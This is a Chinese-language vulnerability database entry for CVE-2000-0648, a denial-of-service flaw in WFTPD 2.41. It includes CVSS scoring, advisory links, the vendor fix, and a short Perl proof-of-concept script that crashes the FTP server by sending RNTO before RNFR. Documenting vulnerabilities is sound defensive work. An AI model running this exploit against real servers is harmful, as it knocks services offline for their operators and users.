CVE-2000-0648
CVSS5.0
发布时间 :2000-07-11 00:00:00
修订时间 :2008-09-10 15:05:32
NMCOES    

[原文]WFTPD and WFTPD Pro 2.41 allows local users to cause a denial of service by executing the RENAME TO (RNTO) command before a RENAME FROM (RNFR) command.


[CNNVD]WFTPD RNTO服务拒绝漏洞(CNNVD-200007-023)

        WFTPD和WFTPD Pro 2.41版本存在漏洞。本地用户可以通过在RENAME FROM (RNFR)命令之前执行RENAME TO (RNTO)命令来导致服务拒绝。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0648
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0648
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200007-023
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/1456
(VENDOR_ADVISORY)  BID  1456
http://www.securityfocus.com/templates/archive.pike?list=1&msg=E13BvU6-0007d8-00@dwarf.box.sk
(VENDOR_ADVISORY)  BUGTRAQ  20000711 WFTPD/WFTPD Pro 2.41 RC10 denial-of-service

- 漏洞信息

WFTPD RNTO服务拒绝漏洞
中危 边界条件错误
2000-07-11 00:00:00 2005-10-20 00:00:00
远程※本地  
        WFTPD和WFTPD Pro 2.41版本存在漏洞。本地用户可以通过在RENAME FROM (RNFR)命令之前执行RENAME TO (RNTO)命令来导致服务拒绝。

- 公告与补丁

        Texas Imperial Software has addressed this issue with the release of WFTPD 2.41 RC11.

- 漏洞信息 (20069)

Texas Imperial Software WFTPD 2.4.1 RNTO Denial of Service Vulnerability (EDBID:20069)
windows dos
2000-07-11 Verified
0 Blue Panda
N/A [点击下载]
source: http://www.securityfocus.com/bid/1456/info

It is possible for a user to cause a denial of service against the WFtpd server. Requesting an RNTO command without using the RNFR command first will cause the server service to stop responding. A restart of the service is required to gain normal functionality.



#!/usr/bin/perl
#
# WFTPD/WFTPD Pro 2.41 RC10 denial-of-service
# Blue Panda - bluepanda@dwarf.box.sk
# http://bluepanda.box.sk/
#
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
# Issues an RNTO command without first using RNFR, causing WFTPD to crash.
#

use IO::Socket;

$host = "ftp.host.com" ;
$port = "21";
$user = "anonymous";
$pass = "p\@nda";
$wait = 10;

# Connect to server.
print "Connecting to $host:$port...";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host,
PeerPort=>$port) || die "failed.\n";
print "done.\n";

# Login and issue premature RNTO command.
print $socket "USER $user\nPASS $pass\nRNTO x\n";

# Wait a while, just to make sure the commands have arrived.
print "Waiting...";
$time = 0;
while ($time < $wait) {
        sleep(1);
        print ".";
        $time += 1;
}

# Finished.
close($socket);
print "\nConnection closed. Finished.\n"
		

- 漏洞信息

365
Windows NT FTP Server (WFTP) Out of Sequence RNTO Command Remote DoS
Remote / Network Access Denial of Service
Loss of Availability Upgrade
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

WFTPD contains a flaw that may allow a remote denial of service. The issue is triggered when a logged in user issues an out of sequence RNTO command, and will result in loss of availability for the WFTPD service.

- 时间线

2000-07-12 Unknow
2000-07-11 Unknow

- 解决方案

Upgrade to version 2.41 RC11 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

WFTPD RNTO Denial of Service Vulnerability
Boundary Condition Error 1456
Yes Yes
2000-07-11 12:00:00 2009-07-11 02:56:00
Discovered by and posted to Bugtraq on July 11, 2000 by Blue Panda <bluepanda@dwarf.box.sk>.

- 受影响的程序版本

Texas Imperial Software WFTPD 2.4.1
- Microsoft Windows 2000 Professional
- Microsoft Windows NT 4.0
Texas Imperial Software WFTPD 2.4.1 RC11

- 不受影响的程序版本

Texas Imperial Software WFTPD 2.4.1 RC11

- 漏洞讨论

It is possible for a user to cause a denial of service against the WFtpd server. Requesting an RNTO command without using the RNFR command first will cause the server service to stop responding. A restart of the service is required to gain normal functionality.

- 漏洞利用

Blue Panda &lt;bluepanda@dwarf.box.sk&gt; has provided the following exploit:

- 解决方案

Texas Imperial Software has addressed this issue with the release of WFTPD 2.41 RC11.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站